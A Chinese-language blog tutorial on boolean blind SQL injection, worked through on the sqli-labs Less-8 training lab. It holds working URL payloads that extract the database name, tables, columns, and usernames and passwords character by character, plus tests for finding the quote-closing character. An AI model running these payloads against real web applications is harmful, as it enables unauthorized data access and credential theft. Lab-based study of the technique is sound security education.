首页 > 其他分享 >布尔盲注

布尔盲注

时间:2023-08-22 10:44:05浏览次数:31  
标签:-- 盲注 substr 布尔 ascii id select 页面

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行拆解,实行SQL注入。

盲注分类:布尔盲注、时间盲注、报错盲注

布尔盲注:web页面只返回true真,false假两种类型。利用页面返回不同,逐个猜解数据

布尔注入的条件

?id=1' and 1=1-- -    真页面true

 ?id=1' and 1=2-- -    假页面false

 

关键函数

函数ascii()  ascii美国信息交换标代码,可以把字母转换为对应数字

      右图为ASCII码表

当输入多个字符时,它只转换第一个字符

为什么要把字符转换为数字?

查询命令可以执行,但不会返回有用信息到页面

即使用ascii()把查询的内容转换成数字,以真假页面来判断字母和s对应的数字是否正确(条件满足,页面显示为真true;条件不满足,页面返回为假false)

(以Less-8 为例)

?id=1' and ascii('e')=101 -- -  页面返回为真

?id=1' and ascii('e')=100 -- -  页面返回为假

当and前面闭合时,and后面的条件成立时,页面才会显示You are in……

所以将and后面的条件用ascii()函数来表示,就可以通过返回页面的真假来判断字母,由于ascii((select database()))只能转换第一个字母,所以需要使用函数substr((),1,1)(或者使用substring)从第一个字符开始,显示一个字符,这样就可以控制字符的输出了

?id=1' and ascii(substr((select database()),1,1))>=120 -- -

在不知道数据库名情况下,需要对数据库名进行猜测,可以使用大于等于(>=)或者小于等于(<=)结合二分法来判断转换后的数字大小,从而得知第一个字母;

?id=1' and ascii(substr((select database()),1,1))>=120 -- -  假

?id=1' and ascii(substr((select database()),1,1))>=110 -- -  真

?id=1' and ascii(substr((select database()),1,1))>=115 -- -  真

?id=1' and ascii(substr((select database()),1,1))>=117 -- -  假

?id=1' and ascii(substr((select database()),1,1))>=117 -- -  假

故第一个字符转换后为115,然后判断第二个字符

?id=1' and ascii(substr((select database()),2,1))>=100 -- -  同上,使用二分法对其转换后的数字进行判断

 

布尔盲注

?id=1' and ascii(substr('abcd',1,1))>97-- -

把'abcd'替换入想要查询的语句即可

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- -

此处没有必要使用group_concat()函数,而是使用limit 0,1  从第0行开始显示1行,从结果的第一行数据依次查询。

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 -- -

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100-- -

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100-- -

布尔盲注闭合符的判断

eg:

?id=1'  页面为假    ?id=1' -- -    页面为真

?id=1"  页面为真    ?id=1" -- -    页面为真

排除双引号"

?id=1')  页面为假    ?id=1') -- -    页面为假

排除单引号加括号')

 

标签:--,盲注,substr,布尔,ascii,id,select,页面
From: https://www.cnblogs.com/cheng-yicheng/p/17646476.html

相关文章

  • JavaScript​​-null 、 undefined和布尔值
    null和undefined 概述 null与undefined都可以表示“没有”,含义非常相似。将一个变量赋值为undefined或null,老实说,语法效果几乎没区别。vara=undefined;//或者vara=null;上面代码中,变量a分别被赋值为undefined和null,这两种写法的效果几乎等价。在if语句中,它们都会被自......
  • burpsuite靶场----SQL注入15----oracle的时间盲注
    burpsuite靶场----SQL注入15----oracle的时间盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval正式开始这个和之前的oracle的布尔盲注差不多https://www.cnblogs.com/thebeastofwar/p/17640741.html稍微改一下脚本,因......
  • burpsuite靶场----SQL注入14----oracle的时间盲注test
    burpsuite靶场----SQL注入14----oracle的时间盲注test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays正式开始1.进入标签2.抓包3.在TrackingId=BU622TbcJXbso7Wwh后面填上'||pg_sleep(10)--完成任务......
  • burpsuite靶场----SQL注入12----oracle的布尔盲注
    burpsuite靶场----SQL注入12----oracle的布尔盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors正式开始1.找到注入点为cookie中的TrackingId2.因为oracle使用||进行连接的所以先判断闭合payload:TrackingId=7zHLwisTii2Zhhp......
  • python argparse传入布尔参数不生效的解决方法
    在一个需要用到flag作为信号控制代码中一些代码片段是否运行的,比如"--flagTrue"或者"--flagFalse"。但是古怪的是无法传入False,无论传入True还是False,程序里面都是True的参数,所以这个flag并没有生效,也就失去了意义。参考代码:importargparsedeftest_bool():parser=......
  • ACCESS 在报表中设置布尔类型的字段
    先看下面这个图: 左边的已签回字段是我后来改造过的.右边的是最原始的数据.原始数据下,布尔类型是无法设置边框线的,打印出来的效果也是非常的差改造的方法是直接舍弃原来的字段,自己插入一个计算字段(文本框),然后用IIF计算,下面提供两种应用样式,可供大家参考  最后啰......
  • select 选取数据0和1,布尔型的显示为是或否
    sql语句中,有一个字段是布尔型,但是我想通过select查出来,显示的不是0或者1,而显示是或者否selectdecode(字段,1,'是',0,'否')asvaluefromtable或select(case字段when1then'是'when0then'否'end)asvaluefromtable......
  • python教程 入门学习笔记 第7天 打印字符串拼接数值 其它类型转布尔值bool 模拟用户键
    想打印字符串拼接数值例如张三666怎么做?print("张三"+str(666))#直接将数值666转换为字符串,不用赋值也可以3)其它类型转布尔值bool布尔转换规则:所有表示空意义的数据,将被转换成False,其它数据将被转换成Truea=7 #整型数值b="nihao" #字符串c=0 #空值print(boo......
  • post时间盲注查询表字段数所新增的类属性
    self.information_schema_GLOBAL_STATUS=[2]self.information_schema_GLOBAL_VARIABLES=[2]self.information_schema_REFERENTIAL_CONSTRAINTS=[11]self.information_schema_PLUGINS=[11]self.information_schema_COLLATIONS=[6]self.information_schema_TABLE......
  • post时间盲注注入脚本之查询表字段数--草稿
    importrequestsimportsysimporttimeimportpdbimportthreadingfromconcurrent.futuresimportThreadPoolExecutorclassInjection():def__init__(self):self.url=""#self.scheNum=0self.scheNum=7#sel......